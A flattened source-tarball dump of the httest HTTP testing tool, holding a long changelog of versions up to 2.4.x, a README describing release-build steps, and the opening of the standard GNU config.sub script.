*) httest: Add more functions for openssl x509 and dh stuff to Lua interface. *) httest: Bugfix variable substitution. With this bugfix you can emulate array and/or hash variables i.e. $my_array$i or $my_hash$entry. The substitution will resolve $i and $entry first which results in a new variable i.e $my_array0. *) httest: Bugfix safestack internals which leads to compile problems with openssl. Changes with httest 2.1.14 *) httest: Fixed _SSL:RENEG_CERT Again. Without "verify" option _SSL:RENEG_CERT get certificate but still verified it. Now it is possible to get a wrong client cert. It only do fail if there is no client certificate. You can inspect the received client cert with _SSL:GET_CERT_VALUE. *) htntlm: Fixed scannf call for 64 bit machines. On 64 bit machines uint64_t is no longer %llx but %lx Changes with httest 2.1.13 *) httest: Fixed _SSL:RENEG_CERT Bug. Without "verify" option _SSL:RENEG_CERT did not get certificate with its handshake and that was not the idea. *) packages: Nicolas Perrenoud will put httest into gentoos overlay system and corrected the ebuild for httest. Changes with httest 2.1.12 *) httest: Enhance Lua interface with coder functions like sha1 md5 base64. *) httest: Simple websocket support based on version 13. Testet against Chrome Browser with websocket version 8 and ws://echo.websocket.org. Changes with httest 2.1.11 *) httest: Enhance Lua interface with transport functions. *) configure: Solve sed problem with some unix derivates. *) httest: Fixed problems with the _ERROR body and failed SSL connections in there. Changes with httest 2.1.10 *) httest: Did not work without Lua is fixed. Thanks to Pascal Buchbinder and Alain Stalder for reporting this issue. *) httest: Fixed shell problems with configure script. Hope this works now, could not reproduce the problem of missing -lm. Thanks to Pascal Buchbinder for reporting this issue. Changes with httest 2.1.9 *) httest: Extend command _RES with a special parameter INGORE_MONITORS, which do activly ignore peeking connections without any data. Changes with httest 2.1.8 *) httest: Add setter/getter for log level. Old command still available. *) httest: Refactoring code and remove duplicated functions in worker.c and tcp_module.c. *) httest: Add define for openssl libraries without SSLv2 support, thanks to Eva Ramon for reporting this issue. *) httest: Add version command. *) httest: Embed an experimental httest interpreter into Lua. Changes with httest 2.1.7 *) configure: Correct --with-lua5.1 option. Changes with httest 2.1.6 *) plugins: Add embedded Lua syntax support. *) httest: Added experimental Lua module, for full Lua power in httest. This needs liblua5.1 and its development header files. *) plugins: Maintained the vim plugin and added all new commands. *) httest: Simplyfied syntax of _LOOP, _IF, _RPS, _BPS and all other local bodies. New you can close a local body with "_END" instead of "_END IF", "_END LOOP", ... Changes with httest 2.1.5 *) httest: Bugfix segfault on solaris. *) httest: Changed inline commands, they must start with $ and not @ and must have round braces with zero or more space separated arguments. Changes with httest 2.1.4 *) httest: Fixed include problem with wrong recursiv detection. *) httest: Add a SOCKS module to connect to SOCKS proxy i.e. ssh SOCKS tunnel. Usefull to connect to target in another network. *) httest: Add _UNSET command to unset a variable. This is a preparation for hash variables, to be able to add/remove hash entries with _SET and _UNSET. Changes with httest 2.1.3 *) httest: Fixed automatic content length calculation if used _BINARY:SEND. Changes with httest 2.1.2 *) httest: Serious fix: Local variable scrambles line. *) httest: pop3 and smpt are brocken, they can only receive first multi line message, seconde will not be recognised as a multi line answer. Changes with httest 2.1.1 *) httest: Can not call blocks defined after caller fixed. *) httest: Removed implizit _FLUSH in _SOCKSTATE command. Changes with httest 2.1.0 *) httest: New minor release is based on httest 2.0.8. New minor release do have a completly refactored httest. The goal is to strip down the core engine to the minimum and implement every fancy functionality in modules. This do also have the benefit to make httest more stable. *) httest: Module support for clearer code capsulation. *) httest: Link old commands to new commands which were moved to corresponding modules. This makes it possible to run old scripts without rewriting them. *) httest: Send/receive hex digits as binary data, usefull for binary protocol testing. *) httest: Mirgrate SSL related stuff into a new ssl module. *) httest: SSL certs, key and ca handling is overwritten. New you can change or remove certs, keys and ca for a SSL connection. *) httest: Mirgrate date related stuff into a new date module. *) httest: Improved memory handling and reduced memory leakage. Changes with httest 2.0.8 *) htntlm: Removed compile warnings *) httest: Automatic 100 continue support for requests. *) httest: Ssl connect and accept command which can be run on a TCP connection. With this command even POP3 with TLS is possible either for server or client. The test pop3_tls.htt demonstrates the useage of this new commands. *) httest: A global lock for synchronize CLIENT SERVER script parts. *) httest: A global lock for synchronize CLIENT SERVER script parts. *) user-guide: Add httest version Changes with httest 2.0.7 *) httest: Changed the --debug option for script debugging and add a --debug-system for logging more system details. *) httest: Bugfix coredump if using _SOCKET before any _RES or _REQ. *) httest: Add a test for piplining requests. *) httest: Use the new style safestack from openssl instead of the old stack. Compiles and works now also under openssl 1.0.0. *) httest: Marked command _PEER_VERIFY as depreciated. Use "_RENEG verify" instead. This command will be removed in the next minor release. *) users-guide: Syntax, structure and commands are documented. Updated by Marcel Schoen. Changes with httest 2.0.6 *) httest: Serious fix: _IF "" NOT EQUAL still not work. *) httest: Add local variable support with command _LOCAL + *) httest: Command list is now sorted, makes it easier to get an overview. *) httest: Improved the vim colour coding plugin. *) httest: Tabs before local commands are also allowed. *) httest: Serious fix: _EXEC echo "foo('bar')" do not work anymore. Changes with httest 2.0.5 *) httest: Simplyfied the pool usage and more fixes to make it stable. Changes with httest 2.0.4 *) httest: Serious fix: _IF "" NOT EQUAL "" is not equal the if condition do not execute its execute its body. This can lead to tests which should fail but do not. *) httest: Fixed memory consumption while reading files or piped _EXEC. Changes with httest 2.0.3 *) httest: Fixed _IGNORE_BODY did not complain if not on or off. If wrong written default is "off". If set to "on " _IGNORE_BODY command do not turn this feature on because of the space after "on". *) httest: Fixed big chunked Data do consume much more memory than the size of the received data. This could lead into a out of memory situation. *) httest: SSL do log more infos on SSL handshake error. *) httest: SSL_OP_NO_TICKET is available in openssl 0.9.8f did add a compile check to avoid compile errors with older openssl versions. Changes with httest 2.0.2 *) httest: Fixed sSL bugfixes and refactoring. *) httest: Fixed uninitialized variable in command _CHECK do cause false positive failures. *) httest: Fixed bug session reuse do work now. With older openssl the session id was empty. *) httest: New _IGNORE_BODY command. Changes with httest 2.0.1 *) httest: New _READLINE and _RECV can turn off check match/expects. This check can be done with a separated command _CHECK. *) macros: New simple POP3 implementation. *) httest: Fixed bugfix icap encapsulated reader. Changes with httest 2.0.0 *) httest: New syntax improvements for better DSL ability *) httest: New automatic cookie handling *) httest: New local variables useful for BLOCK *) httest: New bLOCK signatur with parameter and return values *) httest: New add missing _ELSE for _IF command *) httest: New add command _ERROR ... _END ERROR to define an error which must occure with in this body. *) macros: New simple get and post request for Application testing *) macros: New simple SMTP implementation Changes with httest 1.18.0 *) httest: New _RESWAIT combines the _RES and _WAIT command ignoring TCP connections not sending any data. Changes with httest 1.17.0 *) httest: New _PROCESS command to run a part of the script with in a separated process and wait with _PROC_WAIT for its termination. Only available on unix systems. *) httest: New global command PROCESS to run the same script in multiple processes, maybe usefull for performance testing. Only available on unix systems. *) httest: New automatic length information support for ICAP Encapsulated header Changes with httest 1.16.0 *) httest: New openssl engine support to use crypto devices. *) httest: New _MATCH do also have "." as namespace, like _EXPECT. *) httest: New _EXPECT do also have "Headers" and "Body" as namespace, like _MATCH. *) httest: New _GREP works like _MATCH but do not fail if no match. *) httest: New global command AUTO_CLOSE to handle automatical Connection header value "close". *) httest: New _AUTO_CLOSE same as global command AUTO_CLOSE. *) httest: New _SSL_CERT_VAL getting values from a cert. Changes with httest 1.15.0 *) httest: New _REQ/SERVER command supports IPV6 (address surrounded in square brackets). *) Fixed htproxy: does not record data any more. *) httest: Fixed help text typo. Changes with httest 1.14.2 *) httest: Fixed coredump on receiving negative content length header *) httest: Changes httest: Supports OpenSSL 0.9.8m Legacy TLS renegotiation is still enabled. Changes with httest 1.14.1 *) httest: Fixed _IF condtions with GT/LT/EQ did ignore sign, i.e. -100 > 4 Changes with httest 1.14.0 *) httest: New _RPS request per second loop implemented Changes with httest 1.13.3 *) httest: Changed deal with new openssel 0.9.8l which do remove renegotiation because of a security hole (man in the middle attack). Httest should be still able doing renegotiation, it is a test tool. Changes with httest 1.13.2 *) httest: Changed only ON_ERROR is noisy, FINALLY block is silent *) httest: Improved httest: System variable __LOG_LEVEL, can be used to make FINALLY block noisy if needed Changes with httest 1.13.1 *) httest: Fixed multithreaded client/server test terminate before all work is done, cause they are all started detached and uncontrolled. Changes with httest 1.13.0 - Improved httest: Help text *) httest: Changed block FINALLY and ON_ERROR are noisy again *) httest: Improved httest: __STATUS system variable also available in ON_ERROR block *) httest: Improved httest: __THREAD system variable for FINALLY and ON_ERROR block *) httest: New with ON_ERROR block error handling is hand over to user *) httest: Changed removed depreciated command _IGNORE_ERRORS Changes with httest 1.12.5 *) httest: Fixed coredump while print debug info on _EXEC process termination Changes with httest 1.12.4 *) httest: Fixed do not url encode "+" *) httest: Improved httest: if read huge lines, httest will grow exponentaly in memory *) httest: Fixed socket eof reader do hold only the last 8KB *) httest: Improved httest: Read _EXEC output in one peace instead line by line *) httest: Fixed reading/writing file from/to pipe do not work properly *) httest: Fixed data need to be null terminated for regex even binary data *) httest: Improved httest: Base64 encoding/decoding support Changes with httest 1.12.3 *) Fixed htntlm: Do not work on big endian machine *) httest: Fixed _URLENC do not understand \x *) Fixed htntlm: No session-key and flags set in type 3 message *) httest: Improved htntlm: Read given base64 message first before setting options Changes with httest 1.12.2 - Improved httest: Show command specific help *) Fixed htntlm: Windows do not understand LLU *) Fixed htntlm: Challenge hexd string used without translate to binary *) Fixed htntlm: incorrect LM2 and NTLM2 hash calculation *) New htntlm: NTLM2 signing and sealing scheme Changes with httest 1.12.1 *) httest: Fixed if expects/matchs rules exist network error not visible *) Fixed htntlm: Add missed unicode support (very basic) *) httest: Improved htntlm: Add lm2 and ntlm2 support *) httest: Improved httest: Listener can be bound on a IP, scope id and port *) httest: Fixed did not validate match and expect scope "VAR" *) httest: Improved httest: Add command _URLDEC to decode encoded urls Changes with httest 1.12.0 *) New htntlm: Can read/write NTLM messages *) Fixed htproxy: Crash on windows if read configuration file *) Fixed hturlext: Crash if called with no arguments Changes with httest 1.11.0 *) httest: Fixed _BPS help text is incomplete *) httest: Fixed _BPS loops for ever if high bandwidth is defined *) httest: Fixed _EXEC suppress last char if not terminated with a \n *) httest: Improved hturlext: Add a filter to exclude tags and/or attributes *) httest: Improved httest: Improved usage and version text and add long options *) httest: Improved htproxy: Improved usage and version text and add long options *) httest: Improved htremote: Improved usage and version text and add long options *) httest: Improved Add man pages for all binaries Changes with httest 1.10.2 *) httest: Fixed deadlock situation seen under windows Changes with httest 1.10.1 *) httest: Fixed _OP command did a wrong type cast Changes with httest 1.10.0 *) httest: Fixed client connect before server listener is up *) httest: Fixed temp file leakage on failure *) httest: New _MATCH scope to match variables directly *) httest: Fixed incorrect formated error output *) httest: Improved httest: _EXEC| and _EXEC< also work for _READLINE and _RECV *) New htproxy: Setup with a configuration file Changes with httest 1.9.0 *) httest: If download huge files, httest will grow exponentaly in memory fixed *) httest: New command to print duration time [ms] *) httest: New system variables: __STATUS and __START_TIME *) httest: Do for each command implemented *) httest: Improved _IF command, can handle now [NOT] MATCH|EQ|LT|GT|LE|GE *) httest: htpcap: Removed Changes with httest 1.8.0 *) httest: _BREAK to interrupt a loop *) httest: Extend _RECV with "Chunked" and "Close" *) httest: _PRINT_HEX command to print and match hex output *) httest: Write to file with a loop to be sure we realy write the hole buf *) httest: BLOCK / _CALL can handle arguments *) httest: Bugfixed _SOCKSTATE command, handle no peeklen correctly *) httest: Do handle Connection: close header incorrect on server side *) httest: Bugfix possible division by zero in the _BPS command *) httest: Bugfix the strftime command for windows *) httest: Windows combatibilty patches for httest, htproxy, htremote and htpcap Changes with httest 1.7.1 *) httest: _RENEG command do not work, nor does _VERIFY_PEER work correctly *) htproxy: Do not compile on solaris *) httest: htpcap: Do not compile on solaris Changes with httest 1.7.0 *) httest: Improved release build script *) httest: Add _READLINE command to read a line terminated with \r\n or \n *) httest: Add _RENEG command. Performs an SSL renegotiation. *) httest: Add _TUNNEL command. Build up a tunnel to another server. *) htproxy: Add _EXPECT before last _WAIT works now in all cases *) httest: htremote: Control interactiv shell commands over TCP/IP for testing purpose Changes with httest 1.6.1 *) httest: Improved testsuite, more checks for release build *) httest: Bugfix all client/server called the finally block *) httest: Reformat the output of httest -L Changes with httest 1.6.0 *) httest: Bugfix command _WAIT *) httest: Add command to spawn a socket reader over a set of _WAIT/_RECV Changes with httest 1.5.2 *) httest: _STRFTIME can choose between Local and GMT Changes with httest 1.5.1 *) httest: Bugfix, use local time for STRFTIME Changes with httest 1.5.0 *) httest: Embedded file implementation *) httest: Add new expect scope exec to expect patterns from _EXEC stdout *) httest: Add new command _STRFTIME to print a number time formated *) httest: Command _OP operates now with long long instead of int, avoids overflow wiht time calculations *) httest: Overworked the testsuit, do tests more exactly more detailed Changes with httest 1.4.1 *) httest: Add check if include headers exist with APR_HAVE_XXX for windows build *) httest: Bugfix cordump in _URLENC Changes with httest 1.4.0 *) httest: Add _URLENC command to encode a string for post requests *) httest: Add _EXEC< command to filter a receiving http stream (i.e. deflate) *) httest: Bugfix missing file and line output on error, add a test Changes with httest 1.3.4 *) httest: Bugfix bug #2644424 segfault on solaris with the _EXEC command *) httest: Bugfix bug #2645093 _RECV POLL allways end with the incomplete error Changes with httest 1.3.3 *) httest: Bugfix body output, do not skip empty lines Changes with httest 1.3.2 *) httest: Bugfix missing null termination on file EOF *) httest: Reactivate displaying stdout of EXEC *) httest: Bugfix wrong chars in variables do not fail Changes with httest 1.3.1 *) httest: Throws incomplete error if content is incomplete. *) httest: _EXEC did not read last line without a newline Changes with httest 1.3.0 *) httest: Embedded shell scripts *) httest: Add new match scope exec to cut from _EXEC stdout *) httest: Bugfix the encapsulated content reader (ICAP) *) httest: Bugfix a problem if no HTTP headers (HTTP/0.9) Changes with httest 1.2.2 *) httest: Bugfix _ONLY_PRINTABLE Changes with httest 1.2.1 *) htproxy: Initial session only if requested via shell *) htproxy: If SSL tunneling via CONNECT method send back "400 Bad Request" *) httest: Can handle now plain HTML without HTTP headers at all (HTTP/0.9) *) httest: Add command _ONLY_PRINTABLE to replace non printable chars with a space Changes with httest 1.2.0 *) httest: Bandwidth restriction command *) httest: Inherit the enviroment variables to commands called through _EXEC Changes with httest 1.1.0 *) htproxy: Generate automated httest scripts *) htproxy: Support for automatical MATCH for cookies *) htproxy: Replace host and port with customized variable names *) htproxy: Admin interface over stdin to control the htproxy *) httest: Bugfix error code for _VERIFY_PEER is now EACCES and not EINVAL *) httest: Bugfix problem while reading headers with values containing ":" Changes with httest 1.0.3 *) httest: Bugfix data loss while using _SOCKSTATE command *) httest: Bugfix segfault if useing accidentaly the same port for plain and ssl connection *) httest: Marked _IGNORE_ERR as depricated *) httest: Bugfix spaces instead of tabs in the generated ebuild Changes with httest 1.0.2 *) httest: Bugfix configure script *) httest: Bugfix critical problem with sending data Changes with httest 1.0.1 *) httest: Add --with-apr, --with-apr-util, --with-pcre and with-ssl to configure script to specify alternativ libs *) httest: Add --enable-use-static to force the linker to use archives where ever possible instead of shared libraries *) httest: Add --enable-full-static to build a static binary Changes with httest 1.0.0 *) httest: Classical configure && make && install mechanisme added *) httest: Load server certs in SERVER command only if they are there *) httest: Overworked test suit to fit make check and make distcheck Changes with httest 0.12.2 *) httest: Suppress start line with OK|FAILED option *) httest: Check if SSL is enabled when calling _CERT *) httest: Check if SSL port is set Changes with httest 0.12.1 *) httest: Bugfix gentoo package Changes with httest 0.12.0 *) httest: Extend REQ command with a tag to hold multiple connections to same target *) httest: MATCH improved, ERROR added like EXPECT ERROR *) httest: Bugfix error text for negated EXPECT clauses *) httest: Peer certificate verification command _VERIFY_PEER *) httest: Extend _REQ and _CERT to add a CA certificate Changes with httest 0.11.2 *) httest: Bugfix line reader to get headers *) httest: Bugfix error trace on failure *) httest: Bugfix possible coredump on startup if server port is missing Changes with httest 0.11.1 *) httest: Match/Expect regular expression can now be encolsed with any char, escaping support *) httest: Close listener if server terminates (and all its started servers) Changes with httest 0.11.0 *) httest: Match/Expect also supports single quotes to enclose the regular expression *) httest: Match with more than one variable assignment *) httest: _RECV POLL takes now the socket timeout set by _TIMEOUT Changes with httest 0.10.0 *) httest: Add a final block called on exit *) httest: Set cert/key for ssl used for example to set a alternativ server cert Changes with httest 0.9.1 *) httest: Stability patches Changes with httest 0.9.0 *) httest: Add getter method for workers concurrency number *) httest: Add math operations: ADD, SUB, MUL, DIV *) httest: Bugfix warnings appeare under solaris *) httest: Bugfix problem with global EXEC on failure Changes with httest 0.8.1 *) httest: Better log out *) httest: Better syntax check *) httest: LOOP statement with a FOREVER value *) httest: Add scripts for distributed script calling *) httest: Add scripts for rampup performance tests *) httest: Bugfix problem with unknown Connection headers Changes with httest 0.8.0 *) httest: Receive in polling mode *) httest: Can manage more than one socket per CLIENT/SERVER *) httest: Every command has now variable resolving *) httest: Remove base64 encoding/decoding will do it external (later) Changes with httest 0.7.2 *) httest: Overworked the help text *) httest: Enviroment variable support *) httest: Receive an amount of bytes, do not expect headers in this case *) httest: Wait with optional expected bytes length Changes with httest 0.7.1 *) httest: Bugfix variable declaration for solaris compiler (gcc has no problem with that) *) httest: Bugfix base64 encode/decode did not work *) httest: DAEMON for supervisor jobs Changes with httest 0.7.0 *) httest: base64 encode/decode support *) httest: Sync command to synchronise timeout tests Changes with httest 0.6.2 *) httest: BLOCK now thread safe *) httest: Bugfixed problems with the msdos line termination \r\n *) httest: Error message now with correct filename Changes with httest 0.6.1 *) httest: Set log level with in script *) httest: Load client cert/key in _REQ command *) httest: Removed _SET_CERT/_SET_KEY *) httest: Bugfixed SET command Changes with httest 0.6.0 *) httest: Load individual certs and keys for server/client *) httest: Define simple blocks to call them later *) httest: Nested LOOP and IF implemented Changes with httest 0.5.1 *) httest: Listen on any host *) httest: Bugfixes uninitalized variables Changes with httest 0.5.0 *) httest: Add possibility to store time in ms to a variable Changes with httest 0.4.4 *) httest: Fixed the help text again *) httest: Bugfix a segfault in the _IF command *) httest: Bugfix unknown Connection: keep-alive *) httest: Reworked the log modes Changes with httest 0.4.3 *) httest: Server _UP/_DOWN feature *) httest: WAIT [] feature Changes with httest 0.4.2 *) httest: Bugfix EXPECT ERROR handling *) httest: Fixed stability problems Changes with httest 0.4.1 *) httest: Improved EXPECT handling Changes with httest 0.4.0 *) httest: ICAP support Changes with httest 0.3.0 - Many fixes around the coredump problematic *) httest: Imporved pool stragtegy and reduce memory usage Changes with httest 0.2.3 - Pipe received data to a shell command line *) httest: A simple _LOOP command *) httest: _IF overworked Changes with httest 0.2.2 - Improved server performance *) httest: Improved error reporting *) httest: Solved broken pipe problem by ignoring SIGPIPE signal *) httest: Add a possibility to ignore all errors within a child or server *) httest: Pipe binary data support *) httest: Add possibility to force an exit and return OK or FAILED *) httest: Improved header allow, add filter possibilty to force for example HTTP/1.0 client Changes with httest 0.2.1 - Get the socket state for reconnect *) httest: Cleaner variable processing *) httest: Server side SSL support *) httest: Segfault on a single 0 chunk fixed Changes with httest 0.2.0 - Refactoring of the global commands *) httest: Simple shell *) httest: Cleaner log output Changes with httest 0.1.2 - Allowed header filter (Client only) *) httest: Pipe _EXEC output into the HTTP stream *) httest: Use variables even in _EXPECT and _MATCH commands *) httest: Send data without a CRLF at the end Changes with httest 0.1.1 - If command *) httest: Shell command execution Changes with httest 0.1.0 - Can act as client and server *) httest: Concurrency *) httest: Looping - do one job many times for performance measurement *) httest: Enhanced variable support *) httest: Check response on defined expects *) httest: Include files *) httest: SSL support (SSL23, SSL3, SSL2, TLS1) *) httest: Autocompletion for Content-Length *) httest: Full chunked encoding data support httest-2.4.8/README0000664000175100017510000000142012141535453010645 00000000000000Release Build ------------- Document version Set new version in configure.in Update ChangeLog Update NEWS Update AUTHORS Update THANKS Test it on Linux (optional) make distcheck Test it on Solaris (optional) configure && make && make check Set version in configure.in and do git commit -m"new release" configure.in ChangeLog NEWS AUTHORS THANKS Build release ./release.sh .. Push to central repository git push --tags Build the windows binary. Get its sources ./generate_win_src.sh And copy the windows exe in this directory Upload release ./upload.sh .. Set version in configure.in to undef and do git commit -m"Release build" configure.in Build Configure Script ---------------------- ./buildconf.sh httest-2.4.8/config/0000775000175100017510000000000012205604044011307 500000000000000httest-2.4.8/config/config.sub0000755000175100017510000010532711772274120013226 00000000000000#! /bin/sh # Configuration validation subroutine script. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, # 2011, 2012 Free Software Foundation, Inc. timestamp='2012-04-18' # This file is (in principle) common to ALL GNU software. # The presence of a machine in this file suggests that SOME GNU software # can handle that machine. It does not imply ALL GNU software can. # # This file is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, see . # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Please send patches to . Submit a context # diff and a properly formatted GNU ChangeLog entry. # # Configuration subroutine to validate and canonicalize a configuration type. # Supply the specified configuration type as an argument. # If it is invalid, we print an error message on stderr and exit with code 1. # Otherwise, we print the canonical config type on stdout and succeed. # You can get the latest version of this script from: # http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.sub;hb=HEAD # This file is supposed to be the same for all GNU packages # and recognize all the CPU types, system types and aliases # that are meaningful with *any* GNU software. # Each package is responsible for reporting which valid configurations # it does not support. The user should be able to distinguish # a failure to support a valid configuration from a meaningless # configuration. # The goal of this file is to map all the various variations of a given # machine specification into a single specification in the form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM # or in some cases, the newer four-part form: # CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM # It is wrong to echo any other type of specification. me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] CPU-MFR-OPSYS $0 [OPTION] ALIAS Canonicalize a configuration name. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.sub ($timestamp) Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit ;; --version | -v ) echo "$version" ; exit ;; --help | --h* | -h ) echo "$usage"; exit ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" exit 1 ;; *local*) # First pass through any local machine types. echo $1 exit ;; * ) break ;; esac done case $# in 0) echo "$me: missing argument$help" >&2 exit 1;; 1) ;; *) echo "$me: too many arguments$help" >&2 exit 1;; esac # Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). # Here we must recognize all the valid KERNEL-OS combinations. maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` case $maybe_os in nto-qnx* | linux-gnu* | linux-android* | linux-dietlibc | linux-newlib* | \ linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | \ knetbsd*-gnu* | netbsd*-gnu* | \ kopensolaris*-gnu* | \ storm-chaos* | os2-emx* | rtmk-nova*) os=-$maybe_os basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` ;; android-linux) os=-linux-android basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'`-unknown ;; *) basic_machine=`echo $1 | sed 's/-[^-]*$//'` if [ $basic_machine != $1 ] then os=`echo $1 | sed 's/.*-/-/'` else os=; fi ;; esac ### Let's recognize common machines as not being operating systems so ### that things like config.sub decstation-3100 work. We also ### recognize some manufacturers as not being operating systems, so we ### can provide default operating systems below. case $os in -sun*os*) # Prevent following clause from handling this invalid input. ;; -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ -apple | -axis | -knuth | -cray | -microblaze) os= basic_machine=$1 ;; -bluegene*) os=-cnk ;; -sim | -cisco | -oki | -wec | -winbond) os= basic_machine=$1 ;; -scout) ;; -wrs) os=-vxworks basic_machine=$1 ;; -chorusos*) os=-chorusos basic_machine=$1 ;; -chorusrdb) os=-chorusrdb basic_machine=$1 ;; -hiux*) os=-hiuxwe2 ;; -sco6) os=-sco5v6 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco5) os=-sco3.2v5 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco4) os=-sco3.2v4 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2.[4-9]*) os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2v[4-9]*) # Don't forget version if it is 3.2v4 or newer. basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco5v6*) # Don't forget version if it is 3.2v4 or newer. basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco*) os=-sco3.2v2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -udk*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -isc) os=-isc2.2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -clix*) basic_machine=clipper-intergraph ;; -isc*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -lynx*178) os=-lynxos178 ;; -lynx*5) os=-lynxos5 ;; -lynx*) os=-lynxos ;; -ptx*) basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` ;; -windowsnt*) os=`echo $os | sed -e 's/windowsnt/winnt/'` ;; -psos*) os=-psos ;; -mint | -mint[0-9]*) basic_machine=m68k-atari os=-mint ;; esac # Decode aliases for certain CPU-COMPANY combinations. case $basic_machine in # Recognize the basic CPU types without company name. # Some are omitted here because they have special meanings below. 1750a | 580 \ | a29k \ | aarch64 | aarch64_be \ | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ | am33_2.0 \ | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr | avr32 \ | be32 | be64 \ | bfin \ | c4x | clipper \ | d10v | d30v | dlx | dsp16xx \ | epiphany \ | fido | fr30 | frv \ | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ | hexagon \ | i370 | i860 | i960 | ia64 \ | ip2k | iq2000 \ | le32 | le64 \ | lm32 \ | m32c | m32r | m32rle | m68000 | m68k | m88k \ | maxq | mb | microblaze | mcore | mep | metag \ | mips | mipsbe | mipseb | mipsel | mipsle \ | mips16 \ | mips64 | mips64el \ | mips64octeon | mips64octeonel \ | mips64orion | mips64orionel \ | mips64r5900 | mips64r5900el \ | mips64vr | mips64vrel \ | mips64vr4100 | mips64vr4100el \ | mips64vr4300 | mips64vr4300el \ | mips64vr5000 | mips64vr5000el \ | mips64vr5900 | mips64vr5900el \ | mipsisa32 | mipsisa32el \ | mipsisa32r2 | mipsisa32r2el \ | mipsisa64 | mipsisa64el \ | mipsisa64r2 | mipsisa64r2el \ | mipsisa64sb1 | mipsisa64sb1el \ | mipsisa64sr71k | mipsisa64sr71kel \ | mipstx39 | mipstx39el \ | mn10200 | mn10300 \ | moxie \ | mt \ | msp430 \ | nds32 | nds32le | nds32be \ | nios | nios2 \ | ns16k | ns32k \ | open8 \ | or32 \ | pdp10 | pdp11 | pj | pjl \ | powerpc | powerpc64 | powerpc64le | powerpcle \ | pyramid \ | rl78 | rx \ | score \ | sh | sh[1234] | sh[24]a | sh[24]aeb | sh[23]e | sh[34]eb | sheb | shbe | shle | sh[1234]le | sh3ele \ | sh64 | sh64le \ | sparc | sparc64 | sparc64b | sparc64v | sparc86x | sparclet | sparclite \ | sparcv8 | sparcv9 | sparcv9b | sparcv9v \ | spu \ | tahoe | tic4x | tic54x | tic55x | tic6x | tic80 | tron \ | ubicom32 \ | v850 | v850e | v850e1 | v850e2 | v850es | v850e2v3 \ | we32k \ | x86 | xc16x | xstormy16 | xtensa \ | z8k | z80) basic_machine=$basic_machine-unknown ;; c54x) basic_machine=tic54x-unknown ;; c55x) basic_machine=tic55x-unknown ;; c6x) basic_machine=tic6x-unknown ;; m6811 | m68hc11 | m6812 | m68hc12 | m68hcs12x | picochip) basic_machine=$basic_machine-unknown os=-none ;; m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) ;; ms1) basic_machine=mt-unknown ;; strongarm | thumb | xscale) basic_machine=arm-unknown ;; xgate) basic_machine=$basic_machine-unknown os=-none ;; xscaleeb) basic_machine=armeb-unknown ;; xscaleel) basic_machine=armel-unknown ;; # We use `pc' rather than `unknown' # because (1) that's what they normally are, and # (2) the word "unknown" tends to confuse beginning users. i*86 | x86_64) basic_machine=$basic_machine-pc ;; # Object if more than one company name word. *-*-*) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; # Recognize the basic CPU types with company name. 580-* \ | a29k-* \ | aarch64-* | 